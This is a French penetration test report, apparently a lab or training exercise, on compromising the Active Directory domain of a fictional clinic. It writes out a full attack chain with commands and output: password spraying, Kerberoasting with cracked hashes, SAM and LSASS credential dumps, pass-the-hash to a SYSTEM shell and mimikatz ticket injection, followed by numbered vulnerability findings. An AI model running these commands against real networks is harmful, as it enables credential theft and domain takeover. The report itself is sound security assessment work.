Rapport du pentest

Client : Clinique de Frontignant

Auditeur : Lucas Beneteau

I. Contexte et périmètre

Fixez le contexte ainsi que le périmètre du pentest que vous allez réaliser.

Le test d'intrusion a pour objectif d'évaluer la sécurité du domaine Active Directory de la clinique de Frontignan. L'objectif principal est de mesurer la résistance face à un attaquant ayant un accès réseau initial, et de déterminer s'il est possible d'obtenir de compromettre le domaine.

Le périmètre comprend les machines du réseau interne 10.10.10.0/24

II. Méthodologie

Résumez la méthodologie que vous allez appliquer pour effectuer le pentest.

Découverte réseau

- Scan de ports, identification des machines et services.

Accès initial et Enumération

- Recherche de comptes avec mots de passe prévisibles, génériques pour pouvoir faire l'énumération.
- Énumération des utilisateurs, partages, GPO, informations du domaine.

Mouvements latéraux et élévation de privilèges

- Compromission d'un compte privilégié sur une machine du domaine
- Récupération d'identifiants en mémoire et dans le système.
- Tests de différentes techniques d'authentification Kerberos et NTLM.
- Exploitation de la réutilisation de mots de passe.

Contrôle du domaine et Post-exploitation

- Compromission d'un compte administrateur du domaine.
- Persistance sur le domaine.

Nettoyage

- Suppression des fichiers laissés sur les cibles.
- Vérification de l'absence de persistance non désirée.

III. Déroulé du pentest

A. Énumération

- *Listez l'ensemble des tests permettant l'énumération de l'environnement Active Directory du client.*
- *Joignez des screenshots et la copie des différentes commandes utilisées.*
- *Annotez l'ensemble des découvertes sur le réseau.*

Scan réseau – Découverte des services exposés

Un scan complet des ports a été réalisé sur le sous-réseau cible :
nmap -p- 10.10.10.0/24

3 hôtes ressortent de ce scan :

Hôte : 10.10.10.101

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- 10.10.10.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-24 07:28 UTC
Nmap scan report for 10.10.10.101
Host is up (0.026s latency).
Not shown: 65506 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
```

Résultat notable :

- **Rôle :** Contrôleur de domaine
- **Services exposés :**
  - **RDP (3389/tcp)**
  - **SSH (22/tcp)**
  - **WinRM (5985/tcp)**

Hôte : 10.10.10.112

```
Nmap scan report for 10.10.10.112
Host is up (0.046s latency).
Not shown: 65517 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49672/tcp open  unknown
```

Résultat notable :

- **Services exposés :**
  - **RDP (3389/tcp)**
  - **SSH (22/tcp)**
  - **WinRM (5985/tcp)**
  - **FTP (21/tcp)**

Hôte : 10.10.10.117

```
Nmap scan report for 10.10.10.117
Host is up (0.053s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5040/tcp  open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49672/tcp open  unknown
```

Résultat notable :

- **Services exposés :**
  - **RDP (3389/tcp)**

Enumération LDAP (anonyme)

Une requête anonyme a été effectuée sur le service LDAP :
ldapsearch -x -H ldap://10.10.10.101 -s base

```
└─$ ldapsearch -x -H ldap://10.10.10.101 -s base
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=travers,DC=ic
ldapServiceName: travers.ic:dc01$@TRAVERS.IC
isGlobalCatalogReady: TRUE
```

Révélé:
Nom de domaine : TRAVERS.IC
Nom d'hôte : DC01
Version windows server : 2016 ou plus récent.

Énumération des utilisateurs via LDAP (anonyme)

Des tests ont été réalisés pour tenter d'énumérer les comptes Active Directory sans authentification :

ldapsearch -x -H ldap://10.10.10.101 -b "DC=travers,DC=ic" "(objectClass=user)" sAMAccountName

```
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://10.10.10.101 -b "DC=travers,DC=ic" "(objectClass=user)" sAMAccountName
# extended LDIF
#
# LDAPv3
# base <DC=travers,DC=ic> with scope subtree
# filter: (objectClass=user)
# requesting: sAMAccountName
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

┌──(kali㉿kali)-[~]
└─$
```

- Sans Succès.

Énumération des utilisateurs via RPC (anonyme)

rpcclient -U "" -N 10.10.10.101
 	
enumdomusers
enumdomgroups
querydominfo
`└─$ rpcclient -U "" -N 10.10.10.101`
`rpcclient $> enumdomusers`
`result was NT_STATUS_ACCESS_DENIED`
`rpcclient $> enumdomgroups`
`result was NT_STATUS_ACCESS_DENIED`
`rpcclient $> querydominfo`
`result was NT_STATUS_ACCESS_DENIED`
`rpcclient $> ^C`
 	
- Sans Succès.

B. Compromission d'un premier compte

- *Listez l'ensemble des tests permettant l'accès au premier compte sur l'environnement Active Directory du client.*
- *Joignez des screenshots et la copie des différentes commandes utilisées.*

Tentative de compromission de comptes via 'user-as-pass'

Recherche d'identifiants possédant un nom d'utilisateur identique au mot de passe.
L'outil **sprayhound** et une liste d'utilisateurs **« nmap.lst »** sont utilisés**.**
`└─$ .local/bin/sprayhound -U /usr/share/wordlists/nmap.lst -d travers.ic -dc 10.10.10.10`
`[+] 5006 users will be tested`
`[+] 0 users will not be tested`
`Continue? [Y/n] y`
`[+] [  VALID  ] test : test`
 	
L'analyse révèle un compte :
• **Compte** : test
• **Mot de passe** : test

Identifier manuellement d'autres comptes utilisant des identifiants 'user-as-pass'
Tentative: *crackmapexec smb 10.10.10.101 -u 'backup' -p 'backup'* (kali㉿kali)-[~] └─$ crackmapexec smb 10.10.10.101 -u 'backup_user' -p 'backup_user' SMB 10.10.10.101 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:travers.ic) SMB 10.10.10.101 445 DC01 [-] travers.ic\backup_user:backup_user STATUS_LOGON_FAILURE (kali㉿kali)-[~] └─$ crackmapexec smb 10.10.10.101 -u 'backup' -p 'backup' SMB 10.10.10.101 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:travers.ic) SMB 10.10.10.101 445 DC01 [+] travers.ic\backup:backup L'authentification a réussi avec les identifiants suivants : • **Compte** : backup • **Mot de passe** : backup

Vulnérabilité V01 : **Présence d'identifiants avec un nom d'utilisateur identique au mot de passe. (user-as-pass)** Résumé de la vulnérabilité:
Les **identifiants** comme ***backup/backup*** permettent à un attaquant d'obtenir facilement un **accès initial** au domaine Active Directory et d'effectuer une **reconnaissance approfondie**.

C. Reconnaissance

- *Listez l'ensemble des tests permettant la reconnaissance de l'environnement Active Directory du client avec les premiers accès compromis*
- *Joignez des screenshots et la copie des différentes commandes utilisées.*

Inspection de la politique de mot de passe

crackmapexec smb 10.10.10.101 -u backup -p backup --pass-pol

```
└─$ crackmapexec smb 10.10.10.101 -u backup -p backup --pass-pol
SMB         10.10.10.101    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (do
SMB         10.10.10.101    445    DC01             [+] travers.ic\backup:backup
SMB         10.10.10.101    445    DC01             [+] Dumping password info for domain: TRAVERSIC
SMB         10.10.10.101    445    DC01             Minimum password length: 7
SMB         10.10.10.101    445    DC01             Password history length: 24
SMB         10.10.10.101    445    DC01             Maximum password age: Not Set
SMB         10.10.10.101    445    DC01
SMB         10.10.10.101    445    DC01             Password Complexity Flags: 000000
SMB         10.10.10.101    445    DC01                 Domain Refuse Password Change: 0
SMB         10.10.10.101    445    DC01                 Domain Password Store Cleartext: 0
SMB         10.10.10.101    445    DC01                 Domain Password Lockout Admins: 0
SMB         10.10.10.101    445    DC01                 Domain Password No Clear Change: 0
SMB         10.10.10.101    445    DC01                 Domain Password No Anon Change: 0
SMB         10.10.10.101    445    DC01                 Domain Password Complex: 0
SMB         10.10.10.101    445    DC01
SMB         10.10.10.101    445    DC01             Minimum password age: None
SMB         10.10.10.101    445    DC01             Reset Account Lockout Counter: 10 minutes
SMB         10.10.10.101    445    DC01             Locked Account Duration: 10 minutes
SMB         10.10.10.101    445    DC01             Account Lockout Threshold: None
SMB         10.10.10.101    445    DC01             Forced Log off Time: Not Set
```

<u>Résultats observés :</u>

- *Pas de verrouillage de compte après plusieurs tentatives échouées.*
- *Absence de critères de complexité (seule contrainte : longueur minimale de 7 caractères).*
- *Aucune obligation de renouvellement des mots de passe.*

Récupération d'informations LDAP

Une extraction complète de l'annuaire Active Directory a été réalisée via **ldapdomaindump** en utilisant le compte compromis backup/backup :

ldapdomaindump -u "travers.ic\backup" -p "backup" -o ldapdump_html --no-json --no-grep 10.10.10.101

Résultats obtenus :

- Liste de tous les utilisateurs du domaine.
- Liste de tous les groupes du domaine.
- Liste de toutes les machines jointes au domaine.

Captures d'écran (non exhaustives) :

Domain users

CN	name	SAM Name	Member of groups	Primary group	Created on	Changed on	lastLogon
sshd	sshd	sshd		Domain Users	11/20/22 18:39:01	11/20/22 18:39:01	01/01/01 00:00:00
Antoine NOEL	Antoine NOEL	anoel	Admins Serveurs	Domain Users	11/20/22 16:40:21	11/20/22 16:59:29	11/20/22 16:59:29
Backup ACCOUNT	Backup ACCOUNT	backup		Domain Users	11/20/22 16:14:56	09/24/25 08:24:23	01/01/01 00:00:00
Svc WEB	Svc WEB	svcweb		Domain Users	11/20/22 16:14:55	11/23/22 09:23:39	01/01/01 00:00:00
Test ACCOUNT	Test ACCOUNT	test		Domain Users	11/20/22 16:14:55	11/20/22 16:48:27	11/23/22 09:32:03
Manon LEFORT	Manon LEFORT	mlefort		Domain Users	11/20/22 16:14:55	11/20/22 16:14:55	01/01/01 00:00:00
Hugues MICHEL	Hugues MICHEL	hmichel		Domain Users	11/20/22 16:14:55	11/20/22 16:14:55	01/01/01 00:00:00
Matthieu MARTIN	Matthieu MARTIN	mmartin		Domain Users	11/20/22 16:14:55	11/20/22 16:14:55	01/01/01 00:00:00
Jules BERTHELOT	Jules BERTHELOT	jberthelot		Domain Users	11/20/22 16:14:55	11/20/22 16:14:55	01/01/01 00:00:00
Louis DUHAMEL	Louis DUHAMEL	lduhamel		Domain Users	11/20/22 16:14:55	11/20/22 16:14:55	01/01/01 00:00:00
Adrien JACQUOT	Adrien JACQUOT	ajacquot		Domain Users	11/20/22 16:14:55	11/20/22 16:14:55	01/01/01 00:00:00

Domain Admins

CN	name	SAM Name	Created on	Changed on	lastLogon	Flags
Thomas NICOLAS	Thomas NICOLAS	tnicolas	11/20/22 16:14:47	11/20/22 17:01:16	01/01/01 00:00:00	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
Isaac GUERIN	Isaac GUERIN	iguerin	11/20/22 16:14:47	11/20/22 17:01:16	01/01/01 00:00:00	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
Paul RIBEIRO	Paul RIBEIRO	pribeiro	11/20/22 16:14:47	11/20/22 17:01:16	01/01/01 00:00:00	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
Philippine CLERC	Philippine CLERC	pclerc	11/20/22 16:14:47	11/20/22 17:01:16	01/01/01 00:00:00	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
Roland BERTIN	Roland BERTIN	rbertin	11/20/22 16:14:47	09/24/25 07:56:59	09/24/25 08:44:05	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
Administrator	Administrator	Administrator	11/20/22 15:34:33	09/24/25 07:57:12	09/24/25 08:44:44	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

Domain computer accounts

CN	SAM Name	DNS Hostname	Operating System	Service Pack	OS Version	lastLogon	Flags
FILER01	FILER01$	FILER01.travers.ic	Windows Server 2019 Datacenter Evaluation		10.0 (17763)	09/24/25 08:43:31	WORKSTATION_ACCOUNT, TRUSTED_FOR_DELEGATION
DESKTOP01	DESKTOP01$	DESKTOP01.travers.ic	Windows 10 Enterprise Evaluation		10.0 (18363)	09/24/25 08:28:52	WORKSTATION_ACCOUNT
DC01	DC01$	DC01.travers.ic	Windows Server 2019 Datacenter Evaluation		10.0 (17763)	09/24/25 08:42:21	SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

Inspecter les partages réseaux.

Une énumération des partages SMB a été effectuée à l'aide du compte compromis backup/backup
Crackmapexec smb 10.10.10.0/24 -u backup -p backup --shares

```
SMB         10.10.10.101    445    DC01             [+] Enumerated shares
SMB         10.10.10.101    445    DC01             Share           Permissions     Remark
SMB         10.10.10.101    445    DC01             -----           -----------     ------
SMB         10.10.10.101    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.10.101    445    DC01             C$                              Default share
SMB         10.10.10.101    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.101    445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.10.101    445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.10.101    445    DC01             Tools           READ
SMB         10.10.10.112    445    FILER01          [+] Enumerated shares
SMB         10.10.10.112    445    FILER01          Share           Permissions     Remark
SMB         10.10.10.112    445    FILER01          -----           -----------     ------
SMB         10.10.10.112    445    FILER01          ADMIN$                          Remote Admin
SMB         10.10.10.112    445    FILER01          C$                              Default share
SMB         10.10.10.112    445    FILER01          Configuration   READ
SMB         10.10.10.112    445    FILER01          IPC$            READ            Remote IPC
```

Résultats :
L'analyse a permis d'identifier les partages réseau accessibles avec au moins les droits **READ**.
Ces accès offrent la possibilité de collecter des informations sensibles.

Analyse BloodHound

Après collecte des informations Active Directory à l'aide de **SharpHound**, celles-ci ont été importées et analysées dans **BloodHound**.
Cet outil permet de cartographier les relations entre utilisateurs, groupes, machines et permissions, afin d'identifier des chemins d'attaque potentiels dans l'Active Directory.

L'analyse BloodHound a mis en évidence **trois comptes avec un SPN**.

Vulnérabilité V02 : **Mot de passe en clair exposé dans l'annuaire AD.**
Résumé de la vulnérabilité:

L'attribut description du compte **amaillot** contenait un mot de passe en clair : **Support2021**.

Vulnérabilité V03 : **Identifiants en clair dans un script partagé**
Résumé de la vulnérabilité:

1. Connexion établie en **SSH** sur le contrôleur de domaine DC01 avec le compte backup/backup.
2. Exécution de l'outil **Snaffler.exe** depuis DC01 afin d'identifier d'éventuelles informations sensibles dans les partages réseau.
3. Cette recherche a permis de découvrir un script PowerShell contenant des identifiants en clair :

```
[TRAVERSIC\backup@DC01] 2025-09-24 10:23:02Z [Share] {Green}<\\FILER01.travers.ic\Configurat
ion>(R)
[TRAVERSIC\backup@DC01] 2025-09-24 10:23:04Z [File] {Green}<KeepNameContainsGreen|R|passw|2,
8kB|2022-11-20 16:51:13Z>(\\DC01.travers.ic\Tools\Mimikatz\kiwi_passwords.yar) kiwi_password
s.yar
[TRAVERSIC\backup@DC01] 2025-09-24 10:23:04Z [File] {Red}<KeepPsCredentials|R|-SecureString|
193B|2022-11-20 14:58:13Z>(\\FILER01.travers.ic\Configuration\Windows\Safety\Shell\Remote\Sc
ripts\admin.ps1) $SecurePassword = ConvertTo-SecureString M3dic3xP4ssw0rd -AsPlainText -Forc
e\nConnect-vROServer -Server FILER03.travers.ic -Username scolin -Password $SecurePassword -
```

Identifiants trouvés :

- **Utilisateur** : scolin
- **Mot de passe** : M3dic3xP4ssw0rd
- **Groupe** : *Admins Workstations*

Vulnérabilité V04 : **Politique de mot de passe faible**
Résumé de la vulnérabilité:

L'analyse de la <u>politique de mots de passe</u> appliquée sur le domaine met en évidence plusieurs faiblesses :

- **Absence de verrouillage de compte** après plusieurs tentatives infructueuses.
- **Absence de critères de complexité** (majuscule, chiffre, caractère spécial).
- **Mots de passe permanent dans le temps.**
- **Longueur minimale faible.**

Cette configuration rend possible l'attaque par brute force en ligne et hors ligne.

Vulnérabilité V05 : **Exposition de comptes à une attaque Kerberoasting via des SPN associés** Résumé de la vulnérabilité:
Certains comptes du domaine disposent d'un **Service Principal Name (SPN).** Tout utilisateur authentifié dans l'Active Directory peut alors : 1. Demander un ticket de service Kerberos (TGS) associé à ces SPN. 2. Tenter de casser ce ticket hors ligne pour retrouver le mot de passe en clair L'analyse a révélé qu'un **compte admin du domaine (tnicolas)** est exposé par ce biais.   Associée à une **politique de mot de passe faible**, cette configuration rend l'attaque **particulièrement critique** : elle peut conduire à une compromission totale du domaine.

D. Mouvement latéral et élévation de privilèges

- *Listez l'ensemble des tests permettant une élévation de privilèges ou un mouvement latéral au sein de l'environnement Active Directory du client.*
- *Joignez des screenshots et la copie des différentes commandes utilisées.*

Réutilisation de mot de passe.

Après la découverte de plusieurs mots de passe lors des étapes précédentes, une vérification de leur éventuelle réutilisation a été effectuée :

crackmapexec smb 10.10.10.101 -u users.txt -p Support2021 --continue-on-success | grep '\[+\]'

```
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.101 -u users.txt -p Support2021 --continue-on-success | grep '\[+\]'
SMB         10.10.10.101    445    DC01             [+] travers.ic\amaillot:Support2021
SMB         10.10.10.101    445    DC01             [+] travers.ic\jlabbe:Support2021
SMB         10.10.10.101    445    DC01             [+] travers.ic\pbegue:Support2021
SMB         10.10.10.101    445    DC01             [+] travers.ic\sduval:Support2021
SMB         10.10.10.101    445    DC01             [+] travers.ic\vfleury:Support2021
```

Résultats :

*Le mot de passe **Support2021** est utilisé par plusieurs comptes du domaine :*

- *amaillot (déjà identifié précédemment)*
- *jlabbe (membre du groupe **Admins Workstations**)*
- *sduval*
- *vfleury*

Kerberoasting – Casse hors ligne des hashes NT

Une attaque de type **Kerberoasting** a été réalisée afin de tenter de compromettre des comptes de service.

1. **Extraction des hashes NT** :

~/.local/bin/GetUserSPNs.py 'travers.ic/backup:backup' -dc-ip 10.10.10.101 -request -outputfile kerberoast_hashes.txt

```
ServicePrincipalName    Name      MemberOf
----------------------  --------  --------------------------------------------------------------
MSSQL/SQLSRV            dmorin    CN=Admins Workstations,OU=Admins,OU=DomainUsers,DC=travers,DC=ic
WWW/INTRANET01          web_svc
WWW/SHARE02.TRAVERS.IC  tnicolas  CN=Domain Admins,CN=Users,DC=travers,DC=ic
```

2. ***Casse hors ligne avec Hashcat*** *(dictionnaire rockyou.txt de 133 millions de mots de passe) :*

```
$krb5tgs$23$*dmorin$TRAVERS.IC$travers.ic/dmorin*$583be76060172d404689287
64d05f097701af49c6837528ff0f99f5d2feebd23a35b760e7a6d07ef1039a8d706a7337d
617590a3be5d0639b16f7a3e7aeacae5b354dee1516d23d489e9bdfba9ef76e36d192843c
1a8ca7de036ab75620c3bf783cab803255a56e934004667fcf1ee572d6b8db3071925c0e5
eb4a67cec740755d201546f91becf55e5f48ae6e7aa928d2210f758f95f2ce976c07b39d3
f4b52056a1cdffc1650bb83c1508b78fa66fd2ab94f9096f8a40c3139c76f80abfa07f9d9
e4e7f7bffcd1b4b5b9338ad47b1b4163b200c2ca18a929629699e60eb89cd86caa29a7ea5
723edd54775d9d9788d5f576b71aae0fcadacc8355f47ff68c5789798be566a5a6f211087
e278b2530170e8e3eeadbf6a3103255069c10fd890a7128b7706389fca44f7cb31abeab55
6a8fb0e261f186fbc9de18716ac038772c49a370a6d8dda08678c51e1861ab105ad3aa75f
04700b7947586fac71174f81ed13e019fbe2ff7d4b18b326f6ea9052c8564b60684e26a0f
bc284103f7076302aad9ded694b4b497bdfc4579963ccc0859547f245a3b:azertyuiop
$krb5tgs$23$*web_svc$TRAVERS.IC$travers.ic/web_svc*$d5075521b6699ada7eb3a
201d542e7ac29375842c9f1f825adc0ab58dd0ff1664de9e1e1af0cb4aa0058e1d0ebcacf
81d9967a4badec95635ae02304a4533bd68c738627028d665c34766afde9575058c309051
bd6eea92b206ebe5eea08b7c667c9864d4e32e2feab77afa7ec158d08d1777bca416f4049
8e12361100bb60330aa9c0487e8a6579b0d581d50eaec90c08b42e83b31a46a777b5a92c1
277c8ed53ed00cf60dde253c6e3131bd5301c7d193f7240d58732b2117794defd627b9bad
82425193e32a2095fa78772756901c4320877015e8a8f42042d3bb0528e0b06138e1a7f02
45153a098cb093e61a54564dfc99fa3c5107d712c805e0df2da528de1b7966108c9b84e14
696b33438c06e84f92ab58ba3761a8ff6d2ba2ac79a4b10bfa0e989fc82b1e3e2b9418459
5c3586edc6f71fde2480cba3f444325e91faeadc9eb8dfd12d412f26641ace7e4c9fbd324
e501280893c451004a95d9e61659f762219dcf17b12ea9b62601ec50361b5f5c84d41b7dd
ec5255f501d67067575dd7f1f9fd1d7f481b8230724e07c7d914efc6c657f:P4ssw0rd
```

Résultats :

- dmorin / azertyuiop (Groupe ***Admins Workstations***)
- web_svc / P4ssw0rd

Exploitation DESKTOP01

Dump des identifiants avec DonPAPI:

L'utilisation de l'outil DonPAPI depuis un compte Admin Workstation sur la machine DESKTOP01 a permis d'extraire des identifiants stockés localement :

- ***Compte :*** *anoel (Groupe* ***Admins Servers****)*
- ***Mot de passe :*** *Vuln3r4bl3*

Ces identifiants étaient utilisés dans le cadre d'une tâche planifiée :

```
INFO [10.10.10.117] [+]
[CREDENTIAL]
LastWritten : 2022-11-20 16:59:29
Flags       : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x2 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x2 (CRED_PERSIST_LOCAL_MACHINE)
Target      : Domain:batch=TaskScheduler:Task:{63033E68-2B67-4B00-8A5E-391D743CD5A1}
Description :
Unknown     :
Username    : TRAVERSIC\anoel
Unknown3     : Vuln3r4bl3
```

Dump de la base SAM et Pass-the-Hash

L'extraction de la base **SAM** depuis la machine **DESKTOP01** a permis de récupérer le hash du compte **Administrator (local admin)** :*Crackmapexec smb 10.10.10.110 -u dmorin -p azertyuiop –sam*

Hash récupéré :

```
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.117 -u dmorin -p azertyuiop --sam
SMB         10.10.10.117    445    DESKTOP01        [*] Windows 10.0 Build 18362 x64 (name:DESKTOP01) (domain:travers.ic) (signing:False)
SMB         10.10.10.117    445    DESKTOP01        [+] travers.ic\dmorin:azertyuiop (Pwn3d!)
SMB         10.10.10.117    445    DESKTOP01        [+] Dumping SAM hashes
SMB         10.10.10.117    445    DESKTOP01        Administrator:500:aad3b435b51404eeaad3b435b51404ee:1dc15302289cae7a5139044ce6b872d7::
```

Un test de réutilisation de ce hash a été effectué sur l'ensemble du réseau :
crackmapexec smb 10.10.10.0/24 -u Administrator -H 1dc15302289cae7a5139044ce6b872d7 -d .

```
SMB         10.10.10.112    445    FILER01          [+] .\Administrator:1dc15302289cae7a5139044ce6b872d7 (Pwn3d!)
SMB         10.10.10.117    445    DESKTOP01        [+] .\Administrator:1dc15302289cae7a5139044ce6b872d7 (Pwn3d!)
```

Le hash a été accepté sur le serveur de fichiers **FILER01**, confirmant la présence d'un mot de passe administrateur réutilisé entre plusieurs machines.

Enfin, un accès **shell SYSTEM** a été obtenu sur **FILER01** via une attaque **Pass-the-Hash** :
psexec.py -hashes :1dc15302289cae7a5139044ce6b872d7 WORKGROUP/Administrator@10.10.10.112

```
└─$ .local/bin/psexec.py -hashes :1dc15302289cae7a5139044ce6b872d7 WORKGROUP/Administrator@10.10.10.112
/home/kali/.local/pipx/venvs/impacket/lib/python3.11/site-packages/impacket/version.py:12: UserWarning:
resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from usi
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.10.10.112.....
[*] Found writable share ADMIN$
[*] Uploading file BLOsvIBf.exe
[*] Opening SVCManager on 10.10.10.112.....
[*] Creating service fIOX on 10.10.10.112.....
[*] Starting service fIOX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> echo %COMPUTERNAME%
FILER01
```

Identifiants en clair sur le poste DESKTOP01

Une recherche d'informations sensibles sur le disque **C:** de la machine **DESKTOP01** a permis de trouver des identifiants stockés en clair dans un script :
C:\Users\Administrator\Desktop\Scripts\connect :

```
connect - Notepad
File  Edit  Format  View  Help
:: Hide commands
@echo off
title Network Connect

:: Disconnect Current Device
if exists disconnect.bat call disconnect.bat

:: For Support.exe
net use m: "\\FILER01.TRAVERS.IC\Tools" /user:travers.ic\lbrunet T3RmIn4l
```

Identifiants découverts :

- **Compte** : lbrunet (*Groupe **Admins Servers***)
- **Mot de passe** : T3RmIn4l

Exploitation FILER01

DUMP de la base LSASS sur le serveur FILER01

À la suite de la compromission d'un compte membre du groupe **Admins Servers** (lbrunet/T3RmIn4l), une vérification des sessions actives a été réalisée :
crackmapexec smb 10.10.10.112 -u lbrunet -p T3RmIn4l --sessions

```
└─$ crackmapexec smb 10.10.10.112 -u lbrunet -p T3RmIn4l --sessions
SMB         10.10.10.112    445    FILER01          [*] Windows 10.0 Build 17763 x64 (name:FILER01)
SMB         10.10.10.112    445    FILER01          [+] travers.ic\lbrunet:T3RmIn4l (Pwn3d!)
SMB         10.10.10.112    445    FILER01          [+] Enumerated sessions
SMB         10.10.10.112    445    FILER01          \\10.10.10.101            User:rbertin
```

Découverte d'un **compte Admin du domaine** connecté : rbertin.

Un dump de la base **LSASS** a alors été effectué à distance avec **lsassy** :
lsassy -d travers.ic -u lbrunet -p "T3RmIn4l" 10.10.10.112

Résultats obtenus :

- *Récupération d'un **ticket Kerberos** valide pour l'utilisateur rbertin (Admin du domaine).*

```
[+] 10.10.10.112 TRAVERS.IC\rbertin   [TGT] Domain: TRAVERS.IC - End time: 2025-09-25
```

- *Extraction du mot de passe en clair de pclerc (**Admin du domaine**)*
  - *pclerc / pr0f3550r*

```
[+] 10.10.10.112 travers.ic\pclerc    [NT] bca0234ba1ca220cfd8762d1ff8dda4b
[+] 10.10.10.112 travers.ic\pclerc    [PWD] pr0F3550r
```

L'utilisation du compte pclerc (**Admin du domaine)** entraine la compromission du domaine.

Exploitation du ticket Kerberos de l'utilisateur rbertin

Le ticket kerberos (TGT) de l'utilisateur **rbertin**, est injecté dans la session windows du serveur **FILER01** en utilisant l'outil Mimikatz :

```
mimikatz # kerberos::ptt ./[0;1272da]-2-0-60a10000-rbertin@krbtgt-TRAVERS.IC.kirbi

* File: './[0;1272da]-2-0-60a10000-rbertin@krbtgt-TRAVERS.IC.kirbi': OK
```

Vérification du ticket injecté dans la session:
mimikatz # kerberos::list

```
mimikatz # kerberos::list

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 26/09/2025 10:29:05 ; 26/09/2025 20:29:05 ; 03/10/2025 10:29:05
   Server Name       : krbtgt/TRAVERS.IC @ TRAVERS.IC
   Client Name       : rbertin @ TRAVERS.IC
   Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
```

Le ticket présente les attributs **forwardable** et **renewable** et possède une fenêtre de renouvellement (**maxrenew**) active.

Nous pouvons désormais faire des requêtes sur le **contrôleur de domaine** en tant qu'**admin du domaine.** Le domaine est compromis.

Vulnérabilité V06 : **Réutilisation de mot de passe.**
Résumé de la vulnérabilité:

Plusieurs comptes du domaine partagent le même mot de passe. Cette réutilisation permet, après la compromission d'un premier utilisateur, d'accéder directement à d'autres comptes, y compris des comptes disposant de privilèges élevés (exemple **jlabbe** du groupe **Admin Workstations**).

Vulnérabilité V07 : **Utilisation d'un compte Admin Servers pour une tâche planifiée**
Résumé de la vulnérabilité:

Un compte membre du groupe **Admins Servers (anoel)** est utilisé pour exécuter une tâche planifiée. Cette configuration entraîne le stockage du mot de passe en local et expose des identifiants à privilèges, augmentant les risques d'escalade.

Vulnérabilité V08 : **Réutilisation du compte administrateur local sur plusieurs machines** Résumé de la vulnérabilité:
Le même mot de passe est utilisé pour le compte **Administrateur local** sur plusieurs hôtes. Cela permet de réutiliser les mêmes identifiants (ou leur hash) pour se déplacer latéralement entre postes et serveurs.

Vulnérabilité V09 : **Absence de protection contre le dump de la mémoire LSASS** Résumé de la vulnérabilité:
Avec des privilèges locaux, la mémoire **LSASS** des serveurs peut être extraite sans restriction. Cette faiblesse permet de récupérer des mots de passes en clair, hachés ou tickets Kerberos des administrateurs du domaine connectés.

Vulnérabilité V10 : **Identifiants Admins Servers en clair dans un script de montage réseau** Résumé de la vulnérabilité:
Un script de montage réseau stocké sur le poste DEKSTOP01 contient en clair des identifiants d'un compte **Admins Servers**. Ces informations peuvent être lues et exploitées par tout attaquant ayant accès au fichier.
Vulnérabilité V11 : **Connexions inappropriées de comptes administratifs** Résumé de la vulnérabilité:
